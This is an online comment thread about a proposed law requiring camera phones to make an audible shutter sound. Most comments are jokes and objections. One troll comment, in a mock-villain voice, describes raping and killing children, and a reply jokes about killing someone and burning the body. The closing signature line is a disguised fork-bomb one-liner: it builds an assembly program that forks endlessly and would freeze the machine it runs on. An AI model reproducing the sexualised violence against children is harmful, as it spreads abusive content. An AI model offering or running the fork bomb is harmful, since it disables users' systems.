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New Law Will Require Camera Phones To "Click"
An anonymous reader writes "A new bill is being introduced called the Camera Phone Predator Alert Act, which would require any mobile phone containing a digital camera to sound a tone whenever a photograph is taken with the phone's camera. It would also prohibit such a phone from being equipped with a means of disabling or silencing the tone."
Tax dollars at work!
Wasn't this law just borrowed from japan, which has been dealing with this kind of stuff for a while? I could have sworn that I read about some similar law a few years ago due to the gropey-nature of japanese city dwellers.
Is it sad that I am more likely to recognize you and your posts by your sig than your name or UID?
I hate this crap because my kid is camera obsessed, and, upon hearing the click, stops doing the cute crap that he was previously doing and demands to see the picture.
Just another example of the perv's ruining things for the rest of us, and I'm sure that a modified firmware will be released in like 10 minutes to take it off, so the only people who will be inconvenienced are people like me (who will...hem...not get screwed after I accidentally brick my wife's phone).
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Yep, that is exactly what was running through my mind.
023AD01("Child", "Evil");
Cell phone cameras help catch criminals. By forcing the cameras to emit a noise, this will alert the criminals to the presence of the witness putting the witness at risk of murder or worse. Please, fight this law to help the police catch criminals.
I have a much better idea. We need to stop perverts from filming people in secret and in order to accomplish this I suggest all video recording devices be equipped with a loud siren that causes permanent damage to the ears of anyone within 100 feet. That'll teach those damn perverts! And anyone who disagrees with me is clearly a pervert!
/Mikael
Greylisting is to SMTP as NAT is to IPv4
There's a small loophole there - CCTV's do not use film!
Neither does the digital camera built into your phone.
There's a small loophole there - CCTV's do not use film!
Neither does the digital camera built into your phone.
Right. So how do you "film" anything with such a device?
Bow-ties are cool.
Forgive my double post, but I, the evil Pedophiler has just captured a government agent and am about to reveal my insidious plan! *Adjusts monocle* Little does the government know that as we speak, I am gathering pictures to fuel my latest creation, The Pedo-Beam(TM). This ingenious device shall allow me to rape and kill children AT THE SAME TIME!! Mwahahaha. This weekend, I shall acquire the jackpot of all pictures to fuel the sexual rage in my device: a baby shower! Yes, with those hot nude children in my possession, I shall rape and kill all the children in the local elementary school! MWAHAHAHAHAHA!!
Mod parent down.
And then kill him and burn the body.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;